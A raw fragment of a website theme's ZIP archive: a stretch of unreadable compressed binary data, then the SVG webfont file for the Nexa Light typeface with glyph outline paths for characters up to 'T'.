<B3��#c�2�T�N���ɡ;�y���د���?H��&z��� � �Qy����,����E�	?hP�o�H�c�(ɞ;?��>X����l��n HZS����~�"�$�����{|'B�t4�c�z� �3U4�GJ���Lh�v.�°a�&���DV?�Щ(C`�tf�i����b�v������Cƅ_؂��4�Cjaٱ���at7�cZ��g�i���i��HL��Q6�\�I�
^��ND�*�ۦdz3��A�"w����>�(�4��^�:)�ɑYl���U�U3��#����pDP������Pd���-������"/����oy���e�6/GC����ߗ�Ȍ�	��9�Ȇ 9~���\��ͮ��x)��"@���U�u�9/��Z��s�u�1q�~T�^�:�k5�h0B�0~����$z���k㐝�Td��X ̓"��A�@5
V��Gl}�[(��=���>=�`0�@d,�g"��o�K�O�3�CQ�TH�A�����]#�Q�6��ͮJOrVΈ
�B��|3y���a�F�6P��q�C==/����s
���nD�\�aM�?"+�EH��;�%��7nܲ�Q�o�vTA�U	3�oW��#v$/���&��'s�yK�S�D"!H���K}�%3��"M���0W����XN�1�����bE���:�ZY�T�Bj�m�C�H���bxb8� ��>Yb�s
/p��(�4�
�����~��OH��Ș�Y�&���e(�b���k����C5�Dı�	�, �R�h� �݈����30�JD�[�R(����Z�)�:�V��EA|�s�$�:���Y����J�����lg�LI�k��w�q	��H[$��4��e��i$D�Pi�.�=7L0@�8���Q�mV>BT4U@�P����d��r������ #�:�C������^ON��@�02�]�/�&| ����`�4؇�N��y9;�,�6�5�xm�e���Ъ�#�����UcD�a�u	
,�.�s>�-�)̀��7U9�\��O�M�؄"й!�F��dSb���h�(�(k$�4E�R:�uA�!}��M��a@�D?��|�j�=X�o����Aq�].�c*Z��v��NQDb�F�*h��<6/��o�B+c������_!��T��&�
���%�I,�р&P�oi7�p(<��	���a� �6���j�*{,��Z$�-������:��+��MaW��o���@��p�t*j̫\P��J�7|�B��1�%4��o5z1�E=�L&��/Š��
���x�'���[�nVO�D�P��`��j�����L��
m�(�}n��<�N5�8�#j�;b�'9�)����&)�NJ�b!$�Y��O�\I6"�
52�<n!lP�p.K^�T���_�ɾ}�&���s�4Mp�iP }�aU��	,Ӭ��e$��Ԙ�P���^ߧ`���f��t`����n�g�
]���rD��zB+� �`�Nv-x�R�Ԕ!�'1�!.
���c��B�@B)�;V�,���Gg��)����Ea���0fú�v{I�oI��ֲ�D�g�϶�ר	cbkup��d�G�s���D�⤶j=s!*�l�m 2g��.��I㏦ȄQ�S\�
>!E$��Es宠���u��,R�+��G��0��8�g��Ͱ�S���MU2�NXF����g��&���?��44^]7�I�J��\��V{����\"��MЫ<���I��5���ѧ�l矨
	��6A�ډ�Л�fS�i��j�BM���I�,Dn>e�L8g�m�I����!H??Q�e�����"=�%j"\��,����i46��"�(�xr�F\��ܫ"�i�\���iɇgj�F|�E��U\	K��הoD��r�d�q9:(Mr��?~1�F�Z��"��Rx�0l�n �q9Q��G�yQes	���±h�w�38(�@�g�'��O[����9 J`���4��<#H�$7�p 	šS>��vj�l	.�on��.+>,AqYqt�I�:��2�X"U���p��.�������a���?�K���aX��#��x1q��L��w���KE(E<xKCә[���~DV0��Y���9;J��KP�{�1���3����6Z�YDz?�ڎ����א���`"�K��V
*t3h4Ix�;���!,c_;:n�����7�	;���Ł3��Z.�c�ڃ;�mV2T]���Yh�tq��&�A`����ƄY�B���m7��a ,�����e�|P<�+ �A��	)щ��"<C�$����جA��{�����d�|E� ���blp�l��c�#���a=8ԁ�F	��Cw,ɸV��|L1'\�"UH*Jhm��,��>������ұ(�������:
��avQ��sTmpp��P�p�"C�H�>�F�#�A��gs�v�.�����J�^��>�?�s<�������צCX/�Y���#�ޜ�+$]�e�2�OH�w�AOV�Vz�,��15�.� ��������~2S�T��t�[O��M�OI!�_��S�/#�Gp$�c�%��?-�wO�Q퇺&�0��C�o�~���L��+��X��	�H4�u����;�,�Iz�R��9�\�38X�\�,�ڭ��/��Ie
��a�{�!��o��g\)V�\Kk'XW�A95���3l��T�5M������'�W&�|��,��j�؀�Ͳ3
p W�c�_�p�r"�G���mA򮈹
���5rUki�j`}��h'��
�Ňa`�Vk-�Z��"E�!�ބ;��x��
�S���n�+H�lVg
4�����	����ψݗmҌ�-�J0�/ 3�<J�s12��[t"U؝}Q���E��&\)^/��"��E�4H�>�)�@��):�	�z�q��a�����ۜ՝�ɕ��f	=$Z�ӷDT�Ԅ��^)#�h<�(�T����6�h�[6���Kȼm`3{x>�(�D���yDu2�>�� �.�&����L_����E]�
��z��,���X�Z[􀛣k,I9����67��dҸ���߶��Ü$G�G%��a
]��MxOa�NT�w��3���?�RK��������xR�~t��!�Hh��|4�3
�ic��g�v�<Q���=zͩ���Ǥ�3���1���LᲴ�[g���ɡq���"��	�K�2r0>�B�E� �X�l�kCu��{�o,� ��;���N\2ؓ��%�s�ʦlZ�S��KB|�*��*ք�l�A���ȑ�4�"��ʋ�]@��Q�(%E�X�>%	��s8���0 �X��8�BE��%�
��=2'�kaAx���F�dk��'��욚��cr})��a�D/���_$�Ic.�,���#!δ��d��P�Ӓ��z!�]|����b���cQ�1���<��=O+wf�`���R���Y^���0��.b����	e��Pd:�w�@�>�P��鷫��Hs���dװ��-��IE\���Q�v?}���;�7�(|�)W�LՑ�z��Y���s���>@<�Z5x�/\}��"�A׿���>�,%�$��5��+�(ӓ8�������z��FY)��{}�-��#<����ð�p�t8���3&�OY��q���mt�.2*u=Yp�D�0���gT��,�N�Yb']�v(�N$�9���@�|LnoWkU�9������rdl
��Kf�ɵ=4��)l!�J"4̊҂z6�ȣ�'rb\0�B�3�,8������>6W�[j"�*�N�4�p�j��m�������T��+�]���E��q�`D�F�'�_�}F���
�4D�w�]5�v�p�A��E�.\��]��!r�H4��H9c�����pya����9�.�"�.��#��I���_B85�c�27�m��-�4�Z�>3�H֋Q;��:���P�ß����� �h�Ǿ�7�l�6���(T]Jk8�X���������HU�ц���7` ?÷��;�@Jb`��MI7�vy��1�W���nL�ǯ�.�C���3J`���,�+��!0h@F��IL:NB��d^�Ot�$�	��w3� 	���D	$�/���`~�	�3qu�AC��J��B'��Е��r�xI�@��Eo���0E���LH�dԈ�K�ԫ�Z�%�B�-	����0s#���z˳���[����ZP�̓�}��1އ���8��mZ����Yh��n5,��]�ԈtׅJ�(�2bi���R�!��Cz�®:L��d��"N�8O����2��a����qג������\��@�"�ۇ��"l��a-��S��0BU+��]�Vmj��|pBx[c<��g�;<{��j�E��Dh�������
W�Ƶ��*���i㤕�g��&��)�Ԩe=S�f^m�ɷ�jv�c��b�^�/6M�mds"��oY�M>e�c�+��L�呇g{h�� ��JVb����üo�uI����!�ɝp}����T�]�0獼xbEd�t���e`pm���88D�Ǭ��JLr�䁍w���&�ߙ�O��2�Xǘ�-�����"����	=�9w��sXE��b��d��b����
A��q����'��&�'dyJ3H0���dm�]yן�q}DZ�ٮg>K���2��_g��\��D�q]��J**�����|�T��A����%��M^��͡�q�8�����b%_0t�s�H��T��(�)�m��"�ۥ�)"ܮ����@S�j3�i��� ��>��7�� FD6R1�&Z>����*`���
�)�)BE��\��$B��(;�,`SK��]$�)ׁ��v��j5�D����@+�6��-iCpE!�u;�%mLH��r�~%T"�s*�M��w�~���ф�Nsꡐy>B�بl�[sw;M��6���q�2P�<=a�@┽��N�Ԛ�����TR!�������)N�^hO�3M>	͋+���>��,��bH�w���:&M�����;L�O櫦r�&��+���]CW�D@�&xH4��駆D�"zd�@rn2\J$7��K������:�>	�]�?r��+�I�0N~
�I��iX|��/,ꓽ�Eƅ��6��_dȤ?����fYD��+ �v"&ަ��#f�R��Ș��#l(���F{���1)��8�E.6���]�z�}��N��p)�mE�U<Gj�j���'�ð%4Ն:�<�u�EmV�1��z���v��,�ə���k�{�
���d�b��Q�)�?��0j�O0-�*�^>L�9
�g6�p��;��9�֔/����M��Wɡ��I 8䁜��bAIH����p2:n�̡���@YO�(��#�p��H�шF�X��8M[d4	3�%y��91��@d�Q9��#���-61'��w<��d�f��+c���Q�Xm?K0��ў(mpm�1`�Ȥ�0Z'�,��x;n�|�?�H͇(d����9uӨ��)A3�fy���Z�C���;11x,�@h_�ITf�^�^��1KYq}l-��6&e*wd���w��u&2�=�
�@Ei@�[L�8���E��EY��o0�+Sv�T�&I��:U*�!G;-]�N�#k��`8X�&?�W
e�Bp\�@2��B����I���|X����l��/A�if���B�|:��&!ƤRO�8t�<8�d8�Pa��h��"F�	��P4xF�u34�90a�ޟ܈Z�>�P��5Zy#U���țe��O��M&�M��P�"/j�߸�,�6ez���-ʚ��7o��O#��p(�iw{[�Q2�\?�Pfc�gS�8w���F��f�kr��S?�7����⊃�0����s�eh֩V���~e�O����A-���� i�t��_l��`����NJ•Rٚ�n�����n��{8��s:5����bP�PK!o������2bluetheme/assets/fonts/Nexa/nexa_light-webfont.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata></metadata>
<defs>
<font id="nexa_lightregular" horiz-adv-x="1245" >
<font-face units-per-em="2048" ascent="1536" descent="-512" />
<missing-glyph horiz-adv-x="563" />
<glyph horiz-adv-x="2048" />
<glyph horiz-adv-x="2048" />
<glyph unicode="&#xd;" horiz-adv-x="2048" />
<glyph unicode=" "  horiz-adv-x="563" />
<glyph unicode="&#x09;" horiz-adv-x="563" />
<glyph unicode="&#xa0;" horiz-adv-x="563" />
<glyph unicode="!" horiz-adv-x="399" d="M98 72q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5zM123 289v1145h104v-1145h-104z" />
<glyph unicode="&#x22;" horiz-adv-x="653" d="M111 918v524h92v-524h-92zM397 918v524h90v-524h-90z" />
<glyph unicode="#" horiz-adv-x="1259" d="M59 350v82h183l149 580h-174v78h193l84 344h94l-84 -344h411l86 344h95l-86 -344h186v-78h-205l-147 -580h194v-82h-213l-86 -350h-94l86 350h-412l-86 -350h-94l86 350h-166zM336 432h414l147 580h-412z" />
<glyph unicode="$" horiz-adv-x="1296" d="M41 274l98 50q31 -60 87 -105.5t124.5 -70t138 -36.5t138.5 -12q57 0 115.5 8t121 28.5t110 51.5t78.5 81t31 112q0 35 -8.5 65.5t-22 54.5t-39 45.5t-47.5 36.5t-60.5 29.5t-65.5 23.5t-74 20t-75 16.5t-79 15.5q-213 41 -301 76q-175 69 -216 206q-12 40 -13 87 q-2 77 28 141t79.5 107t116 74t135.5 46t141 19v205h92v-205q153 -8 282.5 -69t194.5 -179l-96 -53q-54 100 -174.5 148t-253.5 50q-69 0 -140.5 -15t-140.5 -45.5t-112 -87.5t-41 -132q1 -38 13.5 -69.5t32 -55t53 -43.5t66 -33.5t82.5 -27t90 -22t101 -19.5 q214 -41 301 -73q189 -68 240 -207q22 -59 22 -132q-1 -97 -49 -172t-126.5 -119t-166 -67t-180.5 -27v-199h-90v199q-174 7 -323 76t-218 204z" />
<glyph unicode="%" horiz-adv-x="1478" d="M42 1142q0 57 20 111t57.5 96.5t98.5 68.5t136 26q76 0 137 -26t98.5 -68.5t58 -96.5t20.5 -111t-20.5 -111t-58 -96.5t-98.5 -68.5t-137 -26q-75 0 -136 26t-98.5 68.5t-57.5 96.5t-20 111zM139.5 1188.5q-11.5 -45.5 0.5 -91t36.5 -83t72 -61t107.5 -23.5 q59 0 105.5 23.5t70 61t34.5 83t-0.5 91t-35.5 83t-70.5 61t-105.5 23.5q-60 0 -107.5 -23.5t-71.5 -61t-35.5 -83zM188 0h115l911 1440l-112 -2zM741 290q0 57 20 111t57.5 96.5t98.5 68.5t136 26q76 0 137 -26t98.5 -68.5t58 -96.5t20.5 -111t-20.5 -111t-58 -96.5 t-98.5 -68.5t-137 -26q-75 0 -136 26t-98.5 68.5t-57.5 96.5t-20 111zM840 337.5q-11 -46.5 0.5 -93t36 -84.5t71.5 -62t107 -24t107 24t71 62t35 84.5t-0.5 93t-36 84.5t-71.5 62t-107 24t-107 -24t-71 -62t-35 -84.5z" />
<glyph unicode="&#x26;" horiz-adv-x="1474" d="M156 381q0 125 85 218t203 132q-116 35 -190 124t-74 206q0 170 135 275.5t375 105.5q75 0 136.5 -8.5t124 -32t105 -62t69 -103t26.5 -149.5h-96q0 65 -20.5 113.5t-53.5 77t-82.5 45.5t-99 23t-111.5 6q-197 0 -301 -80.5t-102 -208.5q1 -63 27 -113.5t67.5 -82.5 t96 -53t108 -29.5t108.5 -8.5h608v-88h-131v-313q0 -62 8 -111t27.5 -91t55.5 -65t88 -22v-86q-86 -12 -151 39t-89 143q-37 -61 -86.5 -102.5t-107 -61.5t-111 -28t-117.5 -8q-257 0 -393.5 106t-136.5 293zM260 381q0 -142 106.5 -222.5t317.5 -80.5q44 0 86.5 5.5 t88.5 18t84.5 35.5t69.5 54.5t48.5 78.5t17.5 105v313h-393q-102 0 -185.5 -27t-134.5 -71.5t-78.5 -98.5t-27.5 -110z" />
<glyph unicode="'" horiz-adv-x="428" d="M150 918v524h90v-524h-90z" />
<glyph unicode="(" horiz-adv-x="788" d="M182 663.5q0 183.5 48.5 350t151.5 314t249 241.5l53 -78q-126 -88 -216 -220t-134.5 -281t-46 -313t40 -315.5t133 -289.5t223.5 -234l-53 -80q-146 94 -249 241.5t-151.5 314t-48.5 350z" />
<glyph unicode=")" horiz-adv-x="714" d="M37 -162q132 96 223.5 234t133 289.5t40 315.5t-46 313t-134.5 281t-216 220l53 78q146 -94 249 -241.5t151.5 -314t48.5 -350t-48.5 -350t-151.5 -314t-249 -241.5z" />
<glyph unicode="*" horiz-adv-x="602" d="M59 1249l23 74l162 -53l-4 166h84l-5 -166l175 51l22 -74l-176 -45l113 -143l-68 -49l-104 149l-109 -149l-68 47l117 145z" />
<glyph unicode="+" horiz-adv-x="1030" d="M100 651v99h359v352h96v-352h358v-99h-358v-362h-96v362h-359z" />
<glyph unicode="," horiz-adv-x="405" d="M78 -182l63 170q-49 18 -49 73q0 50 40.5 70.5t81 0t40.5 -70.5q0 -16 -6 -34l-82 -209h-88z" />
<glyph unicode="-" horiz-adv-x="978" d="M119 592v106h717v-106h-717z" />
<glyph unicode="." horiz-adv-x="391" d="M74 61q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5z" />
<glyph unicode="/" horiz-adv-x="892" d="M-25 -168l764 1722h111l-766 -1722h-109z" />
<glyph unicode="0" horiz-adv-x="1300" d="M72 547v342q0 136 47 246t124.5 177.5t176 104t201 36.5t201 -37t176 -104.5t124.5 -177t47 -245.5v-342q0 -136 -47 -245.5t-124.5 -177t-176 -104.5t-201 -37t-201 36.5t-176 104t-124.5 177.5t-47 246zM180 547q0 -111 38 -201t100 -145t141 -84.5t161.5 -29.5 t161.5 30t141 85t100 144.5t38 200.5v342q0 110 -38 199.5t-100 144.5t-141 85t-161.5 30t-161.5 -30t-141 -84.5t-100 -144t-38 -200.5v-342z" />
<glyph unicode="1" horiz-adv-x="671" d="M8 0v96h242v1239h-242v99h352v-1338h242v-96h-594z" />
<glyph unicode="2" horiz-adv-x="1353" d="M86 0v324q0 92 33 163t86.5 114.5t128 72t149.5 39t160 10.5q60 0 118.5 9t120 31.5t107.5 56.5t75.5 89t29.5 125q0 73 -28.5 130t-73.5 92.5t-105.5 58.5t-120.5 32t-123 9q-61 0 -119 -8.5t-117.5 -30t-103.5 -54.5t-72 -87t-28 -123h-109q0 88 32.5 158t86 114.5 t126.5 73.5t147.5 41t156.5 12t158.5 -13.5t149 -45t126 -78.5t86 -119t33.5 -162q0 -105 -49.5 -187t-130.5 -129t-175 -71t-194 -24q-452 -4 -452 -297v-220h987v-106h-1096z" />
<glyph unicode="3" horiz-adv-x="1310" d="M66 365h106q0 -54 16.5 -97t42.5 -71.5t65 -50t77 -33t86.5 -18.5t86.5 -9t83 -2q215 0 329.5 85t114.5 214q0 122 -119 214.5t-327 92.5h-238v92h232q103 0 186.5 26t135 68.5t79.5 93t29 103.5q2 120 -110 203.5t-316 83.5q-432 0 -432 -277h-105q1 86 34 152 t85.5 106.5t124.5 66t142.5 35t148.5 9.5q247 0 386.5 -106.5t141.5 -272.5q0 -120 -87.5 -215t-215.5 -119q134 -26 232 -125t98 -227q0 -176 -145 -290.5t-406 -114.5q-81 0 -154.5 9.5t-149.5 36t-131.5 68t-90.5 110.5t-35 159z" />
<glyph unicode="4" horiz-adv-x="1308" d="M27 457l829 977h182v-1000h181v-110h-181v-324h-110v324h-879zM145 434h783v918z" />
<glyph unicode="5" horiz-adv-x="1304" d="M76 395h110q0 -72 28.5 -126.5t72 -85.5t105 -50.5t118.5 -26t121 -6.5q221 0 333.5 92t112.5 242q0 69 -19 127t-62.5 108.5t-125.5 79.5t-196 29h-563v656h997v-99h-895v-458h461q113 0 202.5 -24.5t147 -66t95.5 -99t53.5 -119.5t15.5 -132q0 -72 -21 -137t-65.5 -122 t-109.5 -98t-157.5 -65t-203.5 -24q-83 0 -158 11t-149 40t-127.5 73.5t-86.5 116.5t-34 164z" />
<glyph unicode="6" horiz-adv-x="1351" d="M100 430v627q0 98 46.5 175.5t124.5 125t173.5 72t200.5 24.5q147 0 265.5 -39t195.5 -122.5t86 -200.5h-111q-9 125 -130.5 194.5t-305.5 69.5q-113 0 -209.5 -32t-161.5 -102t-65 -165v-391q80 114 194.5 158t264.5 44q84 0 162 -15t151 -49.5t127 -84.5t86.5 -125.5 t32.5 -167.5q0 -117 -49 -205.5t-131.5 -138.5t-178 -74t-202.5 -24q-85 0 -164 15t-153 49t-128.5 84.5t-87.5 127t-33 170.5zM211 428q-1 -92 40.5 -161t110.5 -106.5t145 -55t159 -17.5q65 0 126 9.5t121.5 34t105 62t72 97t27.5 135.5q0 85 -41 152.5t-107.5 107.5 t-144 61t-157.5 21t-158 -20.5t-146 -60.5t-110 -107t-43 -152z" />
<glyph unicode="7" horiz-adv-x="1210" d="M63 1331v103h1045l14 -91l-778 -1343h-125l774 1331h-930z" />
<glyph unicode="8" horiz-adv-x="1392" d="M70 377q0 140 94 237t229 125q-136 42 -217.5 123.5t-81.5 208.5q0 86 35.5 155t92.5 112.5t133 72.5t152 41t155 12t154 -11t151 -39.5t133 -72t92.5 -113t36.5 -157.5q0 -86 -44 -155.5t-111 -111.5t-156 -69q136 -28 234.5 -125.5t98.5 -232.5q0 -89 -36.5 -160.5 t-94.5 -117t-137 -75.5t-158.5 -42.5t-162.5 -12.5t-163 12.5t-158.5 42.5t-137.5 75.5t-95.5 117t-37.5 160.5zM180 377q0 -68 34 -122.5t86 -87.5t119 -54.5t127 -30t116 -8.5q55 0 114.5 8.5t126.5 30t119 54.5t86 87.5t35 122.5q0 69 -34.5 125t-87 91t-119 59.5 t-126.5 34t-114 9.5q-55 0 -115 -9t-127 -32.5t-119 -58.5t-86.5 -92t-34.5 -127zM203 1071q0 -77 46.5 -135t120 -88t147 -43.5t145.5 -13.5q55 0 113 8t121 28t112 50.5t80.5 80.5t31.5 113q0 66 -31 119t-79.5 85.5t-111.5 54.5t-121.5 31t-114.5 9q-57 0 -115 -8 t-121.5 -29.5t-111.5 -54t-79.5 -86t-31.5 -121.5z" />
<glyph unicode="9" horiz-adv-x="1376" d="M82 1012q0 117 49 205.5t131.5 138.5t178 74t202.5 24q85 0 163.5 -15t152.5 -49t128.5 -84.5t87.5 -127t33 -170.5v-627q0 -98 -46.5 -175.5t-124 -125t-173 -72t-200.5 -24.5q-147 0 -265.5 39t-195.5 122.5t-86 200.5h110q9 -125 131 -194.5t306 -69.5q113 0 210 32 t162.5 102t65.5 165v391q-80 -114 -195.5 -158.5t-265.5 -44.5q-84 0 -162 15.5t-151 49.5t-127 84.5t-86.5 126t-32.5 167.5zM190 1012q0 -73 27.5 -132.5t72 -98t104.5 -64t121.5 -36.5t125.5 -11q80 0 158 20.5t146 60.5t110 107t43 152q1 92 -40.5 161t-110.5 106.5 t-145 55t-159 17.5q-65 0 -126 -9.5t-121.5 -34t-105 -62t-72.5 -97t-28 -135.5z" />
<glyph unicode=":" horiz-adv-x="430" d="M106 61q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5zM106 676q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5z" />
<glyph unicode=";" horiz-adv-x="430" d="M92 -182l64 170q-50 19 -50 73q0 50 40.5 70.5t81 0t40.5 -70.5q0 -16 -6 -34l-82 -209h-88zM106 676q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5z" />
<glyph unicode="&#x3c;" horiz-adv-x="727" d="M68 610v80l432 381l61 -70l-393 -350l401 -352l-69 -70z" />
<glyph unicode="=" horiz-adv-x="1007" d="M109 424v100h751v-100h-751zM109 782v103h751v-103h-751z" />
<glyph unicode="&#x3e;" horiz-adv-x="735" d="M90 299l402 352l-394 350l62 70l432 -381v-80l-432 -381z" />
<glyph unicode="?" horiz-adv-x="1325" d="M68 1040q0 90 32.5 162.5t86 119.5t125.5 78t147.5 44.5t156.5 13.5q84 0 159 -12t148.5 -42t126.5 -76t85.5 -120.5t33.5 -169.5q0 -80 -19.5 -143.5t-46.5 -101.5t-71 -68t-78 -44t-82 -28q-58 -18 -92.5 -31.5t-65 -34.5t-45.5 -43t-25.5 -60t-13.5 -82t-3 -113h-105 q0 212 67 308t257 151q40 12 68 24t59 34t49.5 51t30.5 75t12 106q0 77 -28.5 136t-72.5 93.5t-105.5 56t-119.5 29t-123 7.5q-61 0 -118.5 -8.5t-117.5 -31t-104 -57t-72.5 -92t-29.5 -131.5h-106zM504 74q0 50 40 70.5t80 0t40 -70.5t-40 -70.5t-80 0t-40 70.5z" />
<glyph unicode="@" horiz-adv-x="1896" d="M109 629q0 164 55.5 308.5t157 252.5t253.5 170.5t334 62.5q364 0 579.5 -211t215.5 -577q0 -215 -82 -379q-32 -64 -86 -94.5t-103.5 -23.5t-85.5 53t-36 120v-2q-72 -98 -181.5 -153.5t-232.5 -55.5q-140 0 -258.5 68.5t-187 187t-68.5 258.5q0 153 69 271t185.5 180.5 t259.5 62.5q128 0 240.5 -58t173.5 -167v174h90v-764q-1 -52 24 -70.5t58.5 -2.5t56.5 57q68 122 68 338q0 334 -187 514t-512 180q-157 0 -288 -53t-220 -146t-138.5 -222t-49.5 -279q0 -307 189.5 -495.5t506.5 -188.5q146 0 314 84l53 -78q-163 -101 -367 -101 q-244 0 -427 102t-278 278t-95 399zM483 614q0 -172 121 -293.5t293 -121.5q100 0 181.5 36t131.5 94.5t77 133t27 153t-27 153t-77 133t-131.5 94.5t-181.5 36q-177 0 -295.5 -114.5t-118.5 -303.5z" />
<glyph unicode="A" horiz-adv-x="1421" d="M-16 0l643 1434h121l643 -1434h-119l-158 352h-856l-156 -352h-118zM301 455h770l-385 872z" />
<glyph unicode="B" horiz-adv-x="1374" d="M133 0v1434h588q93 0 176 -23.5t150 -70t106 -123.5t39 -175q0 -109 -63 -191t-171 -116q133 -36 208 -134.5t75 -225.5q0 -85 -31 -152t-81 -108t-119.5 -67.5t-139.5 -37t-149 -10.5h-588zM244 106h477q60 0 112.5 6t109.5 24t97.5 47t66.5 79t26 115 q-1 80 -35.5 140.5t-92.5 95t-126 51t-144 16.5h-491v-574zM244 784h491q70 0 128.5 12t111 39.5t82.5 80t30 126.5q0 61 -21 111t-56.5 84t-83 57.5t-99 34t-106.5 10.5h-477v-555z" />
<glyph unicode="C" horiz-adv-x="1378" d="M55 709v8q-1 112 27 216q28 108 89.5 202t147.5 164t208 110.5t266 40.5t280.5 -55t241.5 -160l-76 -66q-90 90 -206 136.5t-240 46.5q-122 0 -225.5 -33.5t-178 -92.5t-126.5 -139.5t-77 -174.5q-24 -91 -24 -191v-8q2 -128 43 -240t118 -199t198 -137.5t272 -50.5 q124 0 240.5 46.5t207.5 135.5l74 -69q-105 -105 -241.5 -160t-280.5 -55q-141 0 -261.5 38t-207 105.5t-147.5 159t-91 198.5t-31 224z" />
<glyph unicode="D" horiz-adv-x="1452" d="M121 0v1434h485q141 0 260.5 -39t203 -106t143 -157t89 -191t31.5 -208v-16q0 -103 -24 -201q-26 -106 -84.5 -199.5t-143 -164t-207 -111.5t-268.5 -41h-485zM231 106h375q154 0 276 54.5t195.5 144.5t110.5 200q35 104 35 216v12q-2 91 -26.5 176.5t-74.5 162 t-121 133.5t-173 90.5t-222 33.5h-375v-1223z" />
<glyph unicode="E" horiz-adv-x="1257" d="M131 0v1434h989v-105h-880v-557h839v-100h-839v-566h905v-106h-1014z" />
<glyph unicode="F" horiz-adv-x="1208" d="M131 -2v1436h965v-111h-854v-571h825v-105h-825v-649h-111z" />
<glyph unicode="G" horiz-adv-x="1507" d="M59 716q0 332 205 534q205 204 535 204q144 0 280.5 -55t243.5 -160l-63 -70q-91 90 -213.5 137.5t-247.5 47.5q-123 0 -227 -34.5t-178 -95t-126.5 -141.5t-77.5 -174q-24 -89 -24 -186v-8q0 -128 41 -241t118 -200t199.5 -137.5t274.5 -50.5q119 0 232.5 42t203.5 124 v401h-500v97h604v-537q-231 -231 -540 -231q-177 0 -320 59t-233.5 160.5t-138.5 232.5t-48 282z" />
<glyph unicode="H" horiz-adv-x="1452" d="M133 0v1434h111v-682h913v682h111v-1434h-111v651h-913v-651h-111z" />
<glyph unicode="I" horiz-adv-x="425" d="M133 0v1434h109v-1434h-109z" />
<glyph unicode="J" horiz-adv-x="1390" d="M74 541h102q0 -202 131.5 -331.5t331.5 -129.5q204 0 331.5 122t127.5 339v796h-549v97h657v-893q0 -172 -74 -301.5t-202 -196t-291 -66.5q-246 0 -405.5 157.5t-159.5 406.5z" />
<glyph unicode="K" horiz-adv-x="1153" d="M133 2v1432h111v-654l696 654h133v-11l-721 -675l787 -740v-8h-140l-755 707v-705h-111z" />
<glyph unicode="L" horiz-adv-x="1126" d="M131 0v1434h111v-1330h807v-104h-918z" />
<glyph unicode="M" horiz-adv-x="1675" d="M133 0v1434h131l549 -836l543 836h135v-1434h-109v1274l-548 -840h-37l-553 840v-1274h-111z" />
<glyph unicode="N" horiz-adv-x="1441" d="M133 0v1434h47l965 -1186v1186h108v-1434h-43l-966 1184v-1184h-111z" />
<glyph unicode="O" horiz-adv-x="1646" d="M70 719q0 117 28.5 224.5t87.5 201t143.5 163t203.5 109t260 39.5t260.5 -40t204 -109.5t143.5 -163.5q59 -95 87 -203q28 -105 28 -217v-8q-1 -115 -29.5 -222t-88 -201.5t-143.5 -164.5t-203 -111t-259 -41t-259.5 41t-203.5 112t-143.5 165.5t-88 202.5t-28.5 223z M178 717q1 -124 40.5 -237t114 -203.5t193.5 -144.5t267 -54t268 54t194.5 144.5t114 203.5t39.5 237q0 127 -39 240t-113.5 202.5t-194 142t-269.5 52.5q-120 0 -221.5 -34t-173.5 -93t-122.5 -139.5t-74.5 -174.5q-23 -90 -23 -188v-8z" />
<glyph unicode="P" horiz-adv-x="1339" d="M131 0v1434h629q113 0 204 -40.5t147 -106.5t86.5 -150t30.5 -172t-30.5 -172t-86.5 -150t-147 -106.5t-204 -40.5h-518v-496h-111zM242 596h518q86 0 156 31.5t113 83.5t66 118t23 134.5t-23 134.5t-66 118t-113 83.5t-156 31.5h-518v-735z" />
<glyph unicode="Q" horiz-adv-x="1599" d="M68 729q1 116 30.5 221.5t89 197.5t144 159.5t203 106t258.5 38.5q141 0 260.5 -39t204 -107t143.5 -161t87 -201q28 -105 28 -219v-8q0 -133 -43 -262t-125 -228l182 -176l-70 -71l-180 172q-190 -166 -487 -166q-142 0 -262 39.5t-205 108.5t-144 163t-87 203 q-27 105 -27 221v8zM176 729v-8q0 -99 22 -189q24 -94 74 -175t122.5 -140t174.5 -93t224 -34q149 0 268 51t193.5 139t113.5 199.5t39 237.5q0 129 -39 241.5t-113.5 200.5t-193.5 138.5t-268 50.5q-179 0 -320.5 -81.5t-219 -222.5t-77.5 -315z" />
<glyph unicode="R" horiz-adv-x="1329" d="M133 0v1434h631q112 0 203.5 -38t148.5 -102t87.5 -143t31.5 -164v-6q-1 -86 -29 -161q-30 -78 -85.5 -139t-146 -96.5t-204.5 -35.5l506 -549h-146l-495 543h-391v-543h-111zM244 647h508q181 0 270.5 92t91.5 250v6q0 62 -21 119q-22 60 -63.5 109t-110.5 78.5 t-155 29.5h-520v-684z" />
<glyph unicode="S" horiz-adv-x="1296" d="M39 289l98 49q42 -83 126.5 -144t178 -88.5t185.5 -27.5q48 0 95 5t101 17t98.5 34.5t82 54.5t58.5 81.5t21 110.5q0 35 -8.5 65.5t-22 54.5t-39 45.5t-47.5 36.5t-60.5 29.5t-65.5 23.5t-74 20t-75 16.5t-79 15.5q-57 11 -88 17.5t-83.5 19t-83 23t-73.5 28t-68 35.5 t-54 44t-44 55t-25.5 66.5t-10.5 80.5v10q0 81 32 147q34 70 89 114t129 73t147 41t148 12q85 0 150 -9t134 -33.5t129 -75t111 -126.5l-90 -53q-37 60 -87 100.5t-110 60t-114 26.5t-123 8q-55 0 -110 -8t-115 -29t-105 -52.5t-74.5 -83.5t-29.5 -118q0 -38 12.5 -70 t31 -55t53.5 -43.5t66.5 -33.5t83 -26.5t90 -21.5t101.5 -20q214 -41 301 -73q189 -68 240 -207q22 -59 22 -132q-1 -93 -37.5 -165.5t-93.5 -116t-134 -71.5t-150.5 -38.5t-151.5 -10.5q-117 0 -227 31t-209 103.5t-152 177.5z" />
<glyph unicode="T" d="M20 1333v99h1147v-99h-518v-1333h-110v1333h-519z" />
